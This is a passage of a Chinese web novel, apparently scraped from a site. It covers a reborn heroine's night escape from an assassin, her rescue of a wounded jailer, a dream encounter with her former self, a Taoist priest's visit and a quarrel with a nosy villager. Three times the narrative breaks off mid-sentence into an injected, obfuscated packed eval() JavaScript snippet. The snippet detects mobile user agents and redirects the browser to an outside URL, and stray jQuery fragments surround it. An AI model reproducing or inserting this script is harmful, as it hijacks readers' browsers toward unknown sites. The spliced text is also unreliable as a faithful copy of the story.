薛霁按着无恩臂膀,将他虚扶起来,“得空自己去领罚。” 无恩闻言,神色一喜,道,“多谢主子责罚!” “走吧,顺路去看看思朝暮那个仗义的小伙计了。” “是!” 范思的铺盖被同寝的伙计丢在后院,刚刚受完刑的李彦才趁众人聚在大堂排查歹人的空档悄悄将这些被褥收拾起来藏在后厨一个闲置的泡菜缸子里,他掀开盖子时,没有留心缸底有两长约摸六尺三,不甚清晰的鞋印子。 “范思啊范思,我早提醒过你小命是自己的,可你偏是不听,如今你的骨头渣还是否能拢到一处我也不知,但你放心,我命得你一救,往后逢年过节时香烛纸钱我断不会叫你去羡慕旁人,如此也好啊,你能与家人在一处相逢也算是圆满啦……” 慕初情躲在后院墙根上听他絮絮叨叨,言语间得知,那个善心的小哥竟然死了,她心中伤心却更恨没有一箭刺死慕峰青,将早上从初家带的干粮坨坨轻轻抛到李彦才身后暂作祭奠,慕初情翻身绕到了思朝暮大门。 晌午被她一声‘杀人啦’吓得冲出来的食客们刚跑到门口,就被守卫们关门拦住了,一群人对着紧闭的大门又哭又骂,生怕自己一条性命白白交代到这里。 慕初情随着客人们下到大堂后,没有挤在人堆叫嚷,而是偷偷溜进后院藏进一个空坛子里躲过了搜查,她很想手刃慕峰青,可直到慕峰青在两位官员等数十名护卫的护送下安稳走出思朝暮时,她才明白,他是手握重兵的朝廷官员,而自己只是无缚鸡之力的寻常百姓。 要接近他、要杀他,简直天方夜谭。 可是恨啊! 慕初情看着从思朝暮里出来战战兢兢不敢言语的食客们,心中也猜想到,今日慕峰青出丑一事,恐难被世人周知。 今日母亲尸骨未寻到,仇人性命也没有收回,竹篮打水哪怕再拼命也只是一场空。 她沮丧的转身离开,独自徘徊在晁都城大街小巷。 各家大门紧闭,门口挂着的灯笼摇曳在冬日晚风中,混着风声,慕初情忽然感觉自己此时似乎正被谁冷冷地注视着。 身后没有脚步声,没有呼吸声,但她就是觉得有人。 慕初情不回头,也不曾加快脚步,她凭借儿时的记忆漫步在昏暗错杂的小巷,在看到前面拐角处有一个半人高的草垛时心中忽生一计。 她目不斜视的从草垛旁边走过,等刚走进巷角盲区便撒腿往隔壁巷子跑,不到片刻就消失在宁静的夜色里了。 悄悄尾随慕初情的黑衣人追到草垛旁时不见人,这才发现附近的小巷四通八达,那少年很可能会躲藏在任何一条小巷里与自己捉迷藏,于是黑衣人四处看了一圈,往楼层最高一处建筑攀去。 慕初情躲过跟踪后正预备折返回草垛所在之地,可是越靠近草垛,一股浓重的血腥味便越清晰地萦绕在她的鼻尖。 忽然间,身后利剑划过空中‘铮咻’一响,慕初情转身看到一个蒙面男子挥着长剑向自己刺来,刀光忽闪、剑锋凌厉,她下意识躲开之时与蒙面男子四目相对,侧身擦过。 蒙面男子察觉自己刺错了人,可转念又想夜深人静也正适合杀人灭口。 慕初情看出他的意图,明白自己此时插翅难逃,正预备在周边地上看看有无趁手的砖块时,忽然从草垛里飞出一把刃上染着血的大刀。 大刀擦着蒙面男子的面巾,直直插进他身后墙皮里。 “哎,你杀我便杀我,平白害人家男娃娃作甚。” 一个浑身是血的高个男子捂着腹部从草垛里出来,蒙面男子一看见他提剑就砍,慕初情看着两人厮杀在一处,觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888055|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那受伤的高个男子的声音似乎在哪里听过。 某处高楼上的黑衣人看见此处有人搏杀,还在犹豫要不要多管闲事,目光一瞥却看到一个瘦弱少年正站在旁边看热闹。 还不知道他是谁家孩子呢。 黑衣人叹了口气觉得这个闲事自己不管可能不行,于是只得再次飞身跑过去。 高个男子受着伤,很快就处于劣势,他见少年呆呆看着他们也不知道逃跑,捂着腹部抽空踹了少年一脚。 “你他娘的吓傻了,倒是跑啊!” 这一踹,将慕初情前世军狱院的记忆踹出来了,她终于认出,这人竟是军狱院卒头伍千裘。 慕初情见着他喜不自胜,决定将他救上一救,说来也巧,那黑衣人正好赶过来猫在一处房檐底下观战,慕初情眼尖,一瞧见黑衣人就边小声喊边用手去指,“哎呀,我们的救兵来了,你们的事他都知道,蒙面小哥你现在能跑便赶快跑罢,若惹急了我们的救兵,想跑也跑不了啦!” 她这一声不大,即惊不了巡逻守卫兵,也吓不着夜半打更人,可偏偏将面前三个人都喊懵了。 蒙面人见伍千裘失血过多快要支撑不住,脏兮兮的少年又细胳膊细腿,斟酌了片刻便提剑朝黑衣人劈去。 黑衣人看了看自己的空空两手,又望向虎视眈眈向自己劈剑而来的蒙面男子,心中暗自叫苦。 无恩小儿,你高寒哥哥才回晁都,就被你派了个如此苦差…… 虽然有些不忿,但高寒仍旧赤手迎战。 他与对面那人并无深仇,因而处处手下留情,可那位蒙面男子却不知与他有何种大恨,招招都要取人性命。 趁着两人纠缠,慕初情悄悄溜到已经半闭双目的伍千裘身边,小声道,“别装了,快带我走。” 话音刚落,方才还濒临半死的人就立刻起身拎着小鸡仔一般的慕初情垫着脚跑路了。 伍千裘高大强壮,腹部虽失了不少血可还是带着慕初情跑了很远 他们来到一处街市口,伍千裘将慕初情放下,自己也靠着墙角坐稳,他抿了抿自己煞白的嘴唇,恐吓道,“小子,我救了你,你现下便可向我报恩,倘若不按我说的去做,我立刻挑了你脖子与我补补血。” 慕初情笑笑,像是丝毫不将他的恐吓放在心上,“你被人灭口,我遇着了就自认倒霉,退一万步来看,就算你不幸身死刀下,我也有法子逃脱,何来你救我一说。” “你这小子倒是伶牙俐齿不好诓骗的,可这如何是好,我肚子上的窟窿还在流血,若是再不止住,真真是要见阎王的。” “我救了你,你会向我报恩吗?” “自然。” “你有银子么?” 伍千裘问,“你要银子做什么?” 慕初情指了指街对面的安济坊,说,“给你买药,没有银子我要给人家伙计笑笑吗?” 伍千裘被逗乐了,痛的直哼哼,缓了许久才说,“安济坊大夫是我老大哥,你进去直管找一位姓宋的大夫,悄悄与他说伍千裘求药便可。” 慕初情看着安济坊问,“你那老大哥没告诉你他家正在办丧事么?” 丧事? 伍千裘心中一惊,连忙忍着腹痛偏头去看,可这一看却只瞧见了安济坊的招牌、门楣上挂着的白幡与挽联。 “这是怎么一回事……” 话没说完,安济坊大门倏地打开,一个大夫打扮的男人将一个少年踢打到了门外,喝道,“你师傅师娘都死了,你还赖在这里干什么,滚滚滚,别在这里碍我的眼……” 他说完便推门进去,将木杵扣上,只剩少年穿着单薄的外衣独自蹲在门边。 伍千裘心中不忍,骂了声混蛋后就要跑过去与那大夫算账,慕初情一把将他推到,冷声问,“你连累我不算,还要去害他?” 腹部再次因为突然动作涌出汩汩鲜血,伍千裘这才冷静下来。 慕初情将自己棉袄里头的外衣脱下撕开成条,连接成一条长长的绷带,又从棉袄抽出大片棉花,将棉花捂在伍千裘伤口处后把长绷带环绕在他腹部用力捆扎起来,最后又打了个牢固的结才算是完事。 伍千裘看着已经站起身俯视着自己的少年,问,“你叫什么名字?” 慕初情笑笑没有说话。 这时,不远处忽然传来高声寻人的声音—— “眠眠!” “眠眠!你在哪儿!” 慕初情心中一动,低头看着伍千裘,一字一顿道,“我叫初暒。” “好好活着,这恩,你可一定记得来报。” 7. 初暒 将一丛干草盖在伍千裘身上,初暒又绕了条路才从巷子里跑出来。 “我在这呢!” 听到妹妹的声音,初明连忙举着火把跑过来,借着火光,他看到妹妹满脸泥污,身上的衣服也破破烂烂的瞧不出原状,顿时心疼的快哭出来。 “眠眠,吓死哥了,哥还以为再也见不着你了!”初明将手里的火把递给旁边巡逻守卫,用激动的都有些颤抖的手脱下自己的棉袄包住初暒,“你今日遇见何事,怎会如此狼狈?” 初暒佯装害怕围着自己的两三个守卫,躲在初明身后不肯开口。 初明说,“眠眠莫怕,这些大哥是城中夜里巡逻的守卫,多亏他们哥才能进来寻你。” 初暒这才开始掉着大颗大颗的眼泪,委屈道,“早晨起来不见你,想你大概是进城来卖点心了,于是就自己来找你,可是刚到城门口就被人当做进城找活的小厮给逮到酒楼里,我给他们白白干了一天活,临发工钱了才与我说认错人了要将我赶走,我从酒楼出来后又迷了路,不知谁家养的大狗仗势欺人使坏将我棉袄扯破咬烂,幸好我穿的厚呜呜呜……” 她哭的凄凄惨惨却逗得守卫们哈哈直笑,一个守卫说,“明哥,你这妹子哭的伤心,口中的话却说的十分清楚,瞧着跟你一样是个做生意的材料,亥时将至,城门马上就要关了,你们兄妹俩赶快出城回家去吧。” 初明忙说,“多谢各位大哥,今日一定平安,您大家忙活完也尽早歇着吧。” 守卫们相视一眼,嘴角皆露出苦笑,他们朝初家兄妹摆摆手,又兀自前去巡逻了。 见他们走远,初明从口袋里掏出两个包子塞给妹妹,“饿了一天,快吃些垫垫肚子罢。” 初暒接过包子,哭声立刻止住,眼泪也不流了。 初明看的目瞪口呆,却听妹妹说,“我骗他们的,不过我今日确实是来找你的,只是迷了路,下午和城里的小孩子玩炮仗时,不小心把衣服给炸坏了。” “万幸,你平安无事便好。”初明抬手将初暒脸上的泪痕与污泥点子擦干净,“走吧,咱回家,爹娘今日都快急疯了。” “好,咱们从这条路走吧。” 初暒带初明绕道安济坊,瞧见那被赶出来的小徒弟仍然可怜的蹲在墙边。 走到他面前,初暒将手里其中一个包子递了过去。 小徒弟看了看面前冒着些许热气的包子后仰头望去,瞧见了一个白白净净的俊秀少年。 他不说话,也不接过包子,初暒笑笑问,“你师傅姓宋,你是否也姓宋?” “你怎知?” 初暒不答,只说,“吃了包子我便告诉你。” 小徒弟接过包子狼吞虎咽起来,初暒看他吃的差不多了正欲转身离开,可她刚偏过头衣襟就被满嘴塞着包子馅的小徒弟紧紧揪住—— “小哥,你还没回答我……” 他嘟嘟囔囔的说不清楚,初暒低头扯回自己被拽住的衣服时无意在那双清澈的眼睛里,看懂了他的意思。 “我曾得你师傅相救,闲谈间得知他在外觅得医患方剂后总想着向自家小徒传授,我今日见你瞧着亲切,便胡乱猜了一嘴,不成想竟给猜对了。” 提到师傅,小徒弟被戳中自己的伤心事,哇的一身大哭起来,可是又不知怕惊到谁,他连忙捂着嘴,将哭声硬生生吞了回去。 “我…我师傅是这世上顶顶的好人,可是前几日不知为何忽然死了,我师娘也随他去了……呜呜……只留下我一人孤苦无依,今日还被人赶了出来……” 初暒看着他,心里怜悯,口中却说,“你虽孤苦,但并非无依。” 小徒弟打着哭嗝,用噙满泪水的眼睛盯着她。 “你是宋大夫唯一的徒弟,身康体健又有医病救人之技,除了师傅,你还有自己可以依靠。” 初暒看着在夜色中质朴沧桑的安济坊牌匾,像是说给自己听,“被人赶出来又如何,腿只长在自己身上,旁人不会因为你哭,就要恭恭敬敬的迎你进去,若是你应得的,就该踹开门,自己去争去抢……” 小徒弟听得认真,连眼泪也忘记掉了,他看着俊秀少年与同伴远远离去的身影,才发现自己还没问过那少年的姓名呢。 走到晁都城门口登记出城时,初暒想起还有一个包子捂在自己的棉袄里。 她把包子掰成两半,将一半递给初明,说,“吃。” “眠眠吃,哥不饿。” 找了她一天,怎会不饿,初暒不收手,初明只得接过,“多谢眠眠。” 冬日的夜晚又黑又冷,初明将棉袄给了初暒,自己在寒风里冻得浑身打摆,初暒瞧着心里过意不去,将棉衣一边袖子架起来,道,“你搂着我走,咱俩一起披棉袄。” 初明哈哈一笑,“我家眠眠已经是个大姑娘了,怎好让我一个粗鄙汉子搂着,你是不嫌我,可万一叫旁人见了,还不知会怎么编排呢。” 大姑娘? 初暒都快忘记自己是个姑娘了。 前世她就像个假小子,不是奔跑在乡野就是混迹在军营,除了慕家,没人知道她是个女子,也没人将她如女子一般爱护。 “眠眠,你今日进城当真是来寻我的吗。” 初明在问,可话里话外都没有问的意思,初暒不答话,只管闷头往前走,她不想再骗他了。 初明:“你向来聪慧,又是个有仇必报的性子,我知你今日进城是想向慕家寻仇,为自己讨个公道,可是凡事不能太急,哥前几日虽说总被官府衙役打出门,但所幸状词已托人送了进去,哥明日还会进城为你鸣冤,你放心,咱们家确是穷苦百姓,可也不会叫你白白受委屈的。” “你说‘讨个公道’,到底是讨个什么公道?” 初明愣了一下,才说,“自然是将踏伤你的慕府家丁捉拿,罚他当街勒马、踏伤百姓还见死不救之罪,与你赔不是、赔医药钱。” 初暒又问,“你当真以为,慕家会为了公道让一个家丁与我对簿公堂么?” 初明哑然,她继续说,“世家贵族视人命如草芥,我们民想告官,不被抽筋扒皮也算是他们心善了。” “天子脚下,朗朗乾坤,竟没有王法了么!” “王法?”初暒笑了,“我们的天子年岁不过一十有五,在朝堂上连话也没有说过,所谓‘王法’,不过是那些官员看着首辅梁崇元脸色办事的规矩,只对寻常百姓管用罢了。” “眠眠慎言!”初明刚想拦住自己胆敢在外妄言的妹子,可转眼一瞧,周边黑咕隆咚的连鬼都没有,霎时松了口气,道,“这些话我们先前不是商量好了,只在家中悄悄讲就好么,还是你说的要防着隔墙有耳,这会儿怎么全然忘了呢。” “我说的?” 初暒问出口,才明白那些话是原来的初暒说的,她问,“醒来后,好些事都不记得了,我原先也总是说这些大逆不道的话么?” 妹妹愿意主动与自己攀谈,初明心里高兴,笑道,“也不算总说,你幼时身体一向孱弱,一年中有半年都是躺在床上的,于是空闲时爹总会从庄上秀才家借些书来给你看,等年岁稍大一些你能下了床,又爱跟着我进城卖点心,说来也是你有天分,看过的书、见过的人和遇过的事都记在脑袋里,小小年纪就通处事人情、晓国家政事,然你知晓的越多就越觉百姓凄苦、民生艰难,心中不忿时便会同爹娘与我在家中闲谈。” “她…” 原先的初暒爱读书也很聪慧,不像前世的她,八岁前养在母亲身边时被逼着读过一些书,后来被送到庄子去便一本也没读过了。 哦不对。 她想起以前偷溜进晁都去赶城中集会时曾在街上遭人诓骗,花高价买过一本兵法,从军入营后她将那本兵书当做宝贝似的反复通读研究,可直到后来才听旁人说,“慕小副将果真嗜书如命,竟将一部麻沙本兵书视若珍宝呐……” 忆及此处,初暒既觉好笑又生出些许不解,继续问,“从一个闺阁女儿口中听到那些时政言论,你们也不觉诧异?” 初明:“爹娘初次听你讲时自然诧异,后来他们便想若你是个男儿,定能凭着自身才学与见识实现抱负,可转念又觉得,谁说女儿家便不能如此,于是娘成日在家中悉心照料你的身体,爹也为你寻了一处安静屋子,专做书房供你读书习字。” 世间竟会有这般父母,初暒心中既羡慕也愧疚。 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888056|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲聊着走了许久,忽听初明声含喜意,“看,咱快到家了!” 初暒顺着他手指的方向,看到前方有一对中年男女正各自举着一根燃的正旺的火把在柏桥村口焦急地转悠。 “爹!娘!我找着眠眠啦!” 初明对着他们用力挥手,饶是还隔着老远初暒也能看到初家父母那原本又惊又怕的脸色倏地变得又惊又喜。 初暒不愿应付父母与儿女团圆的场面,于是看到他们亲热的朝着自己奔来时,身子一软倒在初明怀里,假意晕死过去。 从初家人担忧与惶恐地呼喊中走过,初暒来到了晁都城里最繁华的街市中,这日或许正巧是个集会,街上行人与商贩摩肩擦踵好不热闹,她正独自站在一家酒馆对面望着人来人往,忽听北边有人高喊,“马疯了!快让开!快让开!” 伴着惊呼声,人群里猛地窜出一匹褐色骏马在街上胡乱奔跑踩踏,一瞬间尖叫与哭喊同时响起,慌乱的百姓四散奔跑,让原本井然有序的街市恍若变成溅了水的热油。 初暒像是不存在似的,任由高大的人们从她身体中穿过,周围的人影逐渐开始变得模糊,她只能隐约看到酒馆二楼有一位清隽少年正直直的盯着那匹疯马。 那少年将一本薄书塞进后腰腰带,撑着二楼的栏杆仔细观望,他瞧准马儿快跑到酒馆门前的时机从楼上一跃而下,跨上马鞍勒紧缰绳用劲往后一拉,这褐色骏马前腿双蹄就立刻顿停在半空之中,一声长嘶过后便稳稳落在原地。 周围百姓见疯马已被人制服,都从方才躲过的商铺店面里走了出来,他们在为勇敢的少年欢呼,初暒看清那张在欢呼声中难掩得意与骄傲的脸时猛然发觉,这少年竟是前世十六岁的自己! 周遭喧闹的人群在一道惊雷中突然消失不见,初暒眼前的天地也变得漆黑一片,她站在原地看到前面不远处有一抹微弱光茫,于是便抬脚向光的地方走去。 光的源头是一根快要燃到尽头的蜡烛,它立在一面铜镜前,有风拂过,铜镜内外忽闪着两簇火苗。 走得近了,初暒才看到铜镜前坐着一位正在梳妆的女子。 她黑发及腰、鬓发如云,仅用散在身后的头发也能将自己瘦弱的身形遮个严严实实。 初暒问,“你是谁?” 她回:“你是谁。” “我是……” 初暒语塞,一时间也回答不出自己究竟是谁。 那女子却替她说,“你是慕家四小姐慕初情、是赤霄军副将慕初,也是柏桥村初家小女儿初暒。” 初暒心中莫名有些气愤,仍问,“你是谁?” 那女子缓缓转身,笑道,“我是你啊。” 初暒看着她既觉眼熟又觉怪异,直到目光瞥到铜镜里时,她一直缓和有力的心跳才开始砰砰作响。 铜镜里只有她的脸,而她的脸竟同那女子一模一样! 她看着映在镜中的自己,那女子也在含笑看着她。 “你是初暒?” “你也是初暒。” “你是原先的初暒?” “你是现在的初暒。”坐在梳妆台前的女子,语气温柔,嘴角的笑意像是融进了眼睛里,“你同友人说了‘我叫初暒’,于是我才能在这里见到你。” 初暒终于明白她是谁,心中占据别人身体的愧疚也在此刻全部涌现出来,她声音里隐约带着哭腔,“我们两个似乎交换了命格,如今是我占据了你活着的身体。” 女子摇了摇头,道,“我们不是两个,是一个,你就是我,我也是你。” 初暒不解还要再问,铜镜前快要熄灭的烛火忽然来回闪烁了一下,短暂的昏暗让她顿住了口,倒是那女子连忙扶着梳妆台起身,道,“你好好活着,便是我好好活着……” 烛火终于熄灭,周遭又恢复成原来漆黑的模样,她大喊着“初暒”向前面女子站着的位置跑去,伸手一揽却只是扑了个空。 漫无边际的黑色让初暒茫然无措,她走在没有方向的地方妄图找到出口,天边一道遥远却又像是近在耳边的声音在这时传到了她的耳朵里。 不知是谁用隐含着笑意与古老沧桑的音色道了一声,“福生无量天尊——” 8. 道士 “醒了!醒了!” 初暒一睁眼就看到一个五大三粗的中年汉子坐在床边欣喜地看着自己,她四周看了看,发现眼前的场景同初次在这里醒来并无任何区别。 只是…… 这狭小屋子怎么忽然间装了这么多人。 初家母亲看到女儿醒来,连忙推开中年汉子挤到床边,又哭又笑,“眠眠你可吓死娘了,娘还以为再也见不到你了。” 果真是母子,见到她的第一句话都是一样的,初暒深呼了一口气努力让自己从方才的幻境中冷静下来,扭动躺的僵硬的身子时她在被窝里摸到一个汤婆子便抱到肚子上暖手。 初暒不打算答话,屋子里这么些人估计还轮不到她开口。 果不出所料,初家母亲摸了摸她的脸又扭头对最外面站着的老道士说,“多谢道长您妙手回春,又救了我家眠眠一命啊。” 那汉子也说,“是啊,您陪我们守着眠眠三天着实辛苦,今日晌午您就别走了,赏光与我们一家吃顿便饭罢。” 三天? 初暒推开棉被起身问,“我睡了三天?” “是啊闺女,老爹那日刚回家就听说你不见了,等明哥将你寻回来时你便昏过去至今了,你现在感觉如何,锅上还炖了汤,你等着,爹去看看汤好了没有,嫣红,快来伙房帮帮我。” 他说完便转身大步离开,走得太急衣袍差点将本就不太稳当的木桌带倒,于嫣红将桌上茶壶、茶杯扶正摆好,也道,“那我也去准备晌午的饭菜。” 没有他们遮挡,初暒看到正站在门边笑吟吟盯着自己的老道士。 这老道士的道士服破破烂烂,头发胡乱挽在后脑勺,三缕长髯也是乱糟糟地如同麻草黏在面颊一般,浑身满脸只有那一双眼睛炯炯有神。 初暒瞧着他,觉得有些眼熟,心里纳闷怎的这些天总能瞧见熟人。 “眠眠,快向老道长问好,你被马儿踏伤那次也是得道长相救才能转危为安呢。”初明将枕头靠在床头扶初暒坐稳靠好,又连忙为道士摆了个凳子,“老道长,莫要再站着了,快坐下来歇歇吧” “我有些渴了,劳你去打些热水来可好?” 妹妹对自己如此客气,初明心里有些难受但还是伸手去桌上取茶壶,“呀昨日忘烧水了,哥现在就去烧,眠眠你稍等一会,哥很快就回来。” 说完,初明拎着轻飘飘的茶壶也出去了,屋子里只剩下他们两人。 “福生无量天尊——”道士最先开口,又说了句,“你总算活着回来了。” 这声音与初暒在幻境中听到的一样,方才就是他在此处为她诵念。 “‘你’指谁?” 是指被斩首又重活的慕初情,还是被马踏死、昏迷三天又再次苏醒的初暒? 老道士看着她笑,戏谑说,“你都已知晓,又何必再问。” “你是谁?” “我是你啊。” 那女子温柔的声音又出现在耳边,各种各样熟悉、陌生的记忆与画面也在此刻冲挤进了初暒的脑海,她抬手捂着因过度思考而暴痛难忍的脑袋,表情有些狰狞。 过了许久,初暒才终于将思绪平复,她额头冒着冷汗,眼中也全是冷意,“我曾见过你。” “你出生时,我们确实见过。” 不,不是初暒,是慕初情曾见过他。 六年前晁都月中集会,这道士就是用那双狡黠戏谑的眼睛蛊惑自己买了他手里那本盗版兵书,而她则天真以为那兵书就是用兵天书,在同伴们面前卖弄了几日后就被慕维之塞进军营陪慕峰青当兵。 初暒忍着怒意,笑了笑,“那说我活不过十五的言辞也是你散出来的罢。” 那老道士像是没想到她会说出此话似的,愣了一会儿才哈哈大笑道,“你怎如此记仇。” “我不仅记仇,还会报仇。” 她是笑着的,可神色与口中的话却不像是玩笑,老道士起身诵念,“众生多结冤,冤深难解结。一日结成冤,三世报不歇。”① 初暒并不说话,老道士也不在意,他转身前行,继续说,“籍系星宿,命在天曹。” 看他拉门要走,初暒稳稳坐在床边,坚定说,“我命在我,不属天地。” 那老道士像是听见个笑话,大笑三声后走了出去,疯疯颠颠的边喊叫着边渐渐走远,“一个七魄少三魂,一个三魂短七魄,嗟乎!心好命又好,富贵享到老。心好命不好,天地也须保。命好心不好,富贵夭折了。心命俱不好,贫贱受烦恼。心是命之源,最要存仁道。命是行之本,自修未来道。善乃福之基,恶乃祸之兆。贵贱有宿因,祸福人自召。方便扶危厄,行善莫计较。心命两修持,自得身中宝。天地有洪恩,日月无私照。子孙受余庆,祖宗延寿考……”② 初老爹进来将刚炖好的猪骨玉黍汤放到屋内,见家里的大恩人不在便问,“闺女,那老道长呢?” “走了。” “走了?刚才还听见他在屋里笑呢。”他两步跨出房门在院里高喊,“明哥!快去门口叫老道长回来,吃了饭再走也不迟啊。” 初明应声去了,过了一会儿,他才拎着茶壶进来问,“爹,我都快跑到村口了,也没见着人啊。” “啊?” 初家老爹还在想那老道该不会真是个会腾云驾雾的老神仙时,就听妻子骂道,“初大年,你傻愣着做什么还不快些帮我端菜!” “来啦来啦。” 初大年乐呵呵的小跑过去帮忙,初暒看着在桌边给他倒水的初明问,“咱们家在村里不招人待见么?” 初明手一抖,差点烫着自己,他咧着嘴笑说,“怎么会呢,咱们一家人都是老实本分、与人为善的。” 他在说谎,初暒也不管他为了什么,只问,“寻常乡村人家,家中若是忽然缺东少西,只要在院里吼一嗓子立刻就会有四面邻里应和帮忙,只因百姓们都坚信,‘远亲不如近邻’,我说渴了,家中也有客人,可你宁愿去费时费力重新烧一壶,也不愿从邻居家讨一壶热水来喝,这是为何?再者,村里丢了孩子是大事,可是那日柏桥村口只有爹娘二人举着火把来找我们,又是为何?” 知道哄不住她,初明讪笑着说,“我想着你受了伤,一些糟心事忘了也算是件好事,便想将你瞒上一瞒。” 初暒思索了片刻,道,“我们是一家人,开心事同享,糟心事也需同担。” 初明鼻腔一酸,用力点头嗯了一声。 “开饭喽!” 初大年端着个摆满菜肴的托盘进门,身后于嫣红拎了坛酒也跟了进来。 “眠眠来,坐在爹娘中间。” “好。” 于嫣红将盘子都摆在桌上后向初暒招手,初明扶妹妹过去前将一件外衣披到她身上。 初暒看着满桌子虽没有大鱼大肉但也尽了农家请客心意的饭菜明白,初家虽是农户,日子却可能比普通农户还要难过些。 见她不动筷,初大年将桌上唯一有肉味的玉黍汤里的猪骨夹给她,“闺女吃肉,老爹专门从做工的地方带回来给你补身体的,吃了身上就不疼了。” 于嫣红也将新鲜采摘的菜心夹在她碗里,说,“这菜不苦,吃了会漂亮呢。” 初明没说话,只默默盛了猪骨汤放在妹妹碗边。 初暒前世没有这样与家里人团团圆圆坐在一处吃饭,因此不知该如何行事接话才算是一个乖巧的女儿。 她想了一下后拿起筷子,将面前满的快要溢出饭菜的碗捧起来狼吞虎咽。 初大年看到女儿这幅模样,不禁抬手抹了一下眼泪,道,“这么些天,都没好好吃过饭呢,都怪爹没用,叫眠眠受了这天大的委屈。” 于嫣红也红着眼睛说,“跟你有什么关系?我只恨官官相护,而咱们小百姓又势单力薄难讨公道。” 初暒端着碗无措的看着这对父母,胃里因为吞咽太快着了凉气,咽喉开始频繁打嗝。 初明连忙倒了杯茶水走到初暒身后为她顺气,口中埋怨道,“爹娘,眠眠今日才刚醒,你们说那些事做什么,都吓着她了。” 于嫣红拍了丈夫手臂一掌,怪他好好的为什么提那件事,“是是是,爹娘错了,眠眠不怕不怕啊。” 初暒喝了热水,又缓了片刻气才说,“娘说的对,官官相护,我们小老百姓难讨公道,不过我如今活着,且还能与家人好好坐在一起吃饭,已经算是咱们家最大的幸事了。” 初大年点点头,心想确实如此,“幸好闺女如今能囫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这些是平日做工时我从自己牙缝里省下的,亏您不嫌弃说是好东西,我不常回来,也没什么稀罕吃食能给嫣红和两个孩子带回,这些猪骨连个肉沫都不见,自己人品个味儿还成,孝敬您就有些寒酸了。” “说什么寒酸不寒酸的,得你惦记便是有心了。”相姑婆瞥了一眼坐在一旁不吭声的于嫣红,又道,“你小子是个有福气的,取了个这么漂亮的媳妇不算,还有了一双水灵灵的儿女,外头不知道有多少人惦记你的好光景呢,你却偏常常不归家,叫媳妇守空房。” 初暒看到母亲双手攥在一起,后槽牙像是都快咬碎了。 初大年讪笑说,“她嫁我已经够受委屈了,我再不勤快做工,怕是还要吃苦呢。” “哎呀,吃苦算什么,你这两个孩子我瞧着也是有出息的。”相姑婆看着初明满意的说,“明哥瞧着是有些瘦,可倒是个机灵的,城里有不少高门大户都在花钱买小厮呢,你若肯舍得,家中光景将来一定是好过的。” 花钱买小厮? 初暒心中冷笑,寻常百姓家,若不是日子过不下去,谁忍心将自家孩子卖出去与别人为奴为婢。 “相姑婆,我原先已经说过这事莫要再提了,我们日子过的再难,也不会打自家孩子的主意。” 初大年说的坚定,相姑婆又碰了一鼻子灰,心中有些不不快,她嘿嘿一笑,眼珠子终于落到了初暒身上。 “这个是眠眠吧,许久不见竟都出落成大姑娘啦,小时候我记着你还病病殃殃像是活不长似的,如今身子瞅着到比寻常孩子还要稳健些,前几日我听人说你扮成个男子偷跑进城差点遭人抢了,还当是谁胡说的呢。” 她此话一出,初家三人瞬间变了脸色,初大年起身就要翻脸,手臂却被于嫣红按下,初明也准备出声,初暒又将他拦住。 相姑婆见自己对一个闺阁女儿说出这样难听的话,这初家也不敢开口驳她,心中正是得意时,却听那个小时候病病殃殃像是活不长似的小姑娘惊讶说,“相姑婆,这样的谣您也敢传?当真是不怕死呢。” 9. 相亲 人老即忧阎王催,怕死爱财没瞌睡。 相姑婆像是被戳到了痛处,跳起来指着初暒大声喝道,“你这丫头胡说什么!什么死不死的,晦气!” 寻常闺阁姑娘若是被人这样指着鼻子呵斥,怕是羞愧地都想跳河,可初暒却稳稳坐在原位笑着看她,“从前随兄长进城卖点心时,我曾听闻一些北漠探子近年来常混迹在中北百姓中宣扬晁都凶险北漠安全,而如今您谣传青天白日我进一趟城就能被人抢了,这意思不是说天子脚下其实与那虎狼窝也无异么?这话您叫我们听得也就罢了,可若是传到外头去,旁人还当您对当朝天子有不满,对我大兴晁都有异心呢,啊呀呀这么一说,您这条命还不一定能抵了这罪呢。” 相姑婆听了这话吓得连连倒退两步,腿软的差点一屁股坐到地上,她忙抬手扇嘴,忏悔说,“我老婆子胡说的,都怪村里头人趁着冬闲乱传疯话,往后我再也不听他们的了!” 初大年瞧见她这副心虚样,心里觉着解气,他估摸这婆子专程来排挤他们一家也算过了瘾,便开口逐客,“相姑婆,我瞧您脸色不好,要不早些回去歇着罢?” 相姑婆还在担忧自己这些大逆不道的话被有心人听去,忽的听见初大年这么一声,她点点头正欲离开,转身时却像是突然想起什么似的。 “叫你们一吓唬,我差些忘了大事!”相姑婆轱辘着小而狡猾的眼睛瞥了初暒一眼,而后去握于嫣红的手,谄媚说,“初家媳妇你家有大喜啊。” 于嫣红干干的笑着,问,“借您吉言,但不知您说的什么大喜?” 